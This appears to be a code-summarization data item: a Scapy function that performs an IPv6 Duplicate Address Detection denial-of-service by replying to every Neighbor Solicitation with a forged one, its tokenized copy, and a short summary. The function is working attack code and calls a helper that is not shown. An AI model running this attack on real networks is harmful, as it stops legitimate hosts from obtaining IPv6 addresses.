def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None):
 def ns_reply_callback(req, reply_mac, iface):
  '\n        Callback that reply to a NS by sending a similar NS\n        '
  mac = req[Ether].src
  dst = req[IPv6].dst
  tgt = req[ICMPv6ND_NS].tgt
  rep = ((Ether(src=reply_mac) / IPv6(src='::', dst=dst)) / ICMPv6ND_NS(tgt=tgt))
  sendp(rep, iface=iface, verbose=0)
  print ('Reply NS for target address %s (received from %s)' % (tgt, mac))
 _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac)

def NDP_Attack_DAD_DoS_via_NS ( iface = None , mac_src_filter = None , tgt_filter = None , reply_mac = None ) : def ns_reply_callback ( req , reply_mac , iface ) : mac = req [ Ether ] . src dst = req [ IPv6 ] . dst tgt = req [ ICMPv6ND_NS ] . tgt rep = ( ( Ether ( src = reply_mac ) / IPv6 ( src = '::' , dst = dst ) ) / ICMPv6ND_NS ( tgt = tgt ) ) sendp ( rep , iface = iface , verbose = 0 ) print ( 'Reply NS for target address %s (received from %s)' % ( tgt , mac ) ) _NDP_Attack_DAD_DoS ( ns_reply_callback , iface , mac_src_filter , tgt_filter , reply_mac )
perform the dad dos attack using ns described in section 4 .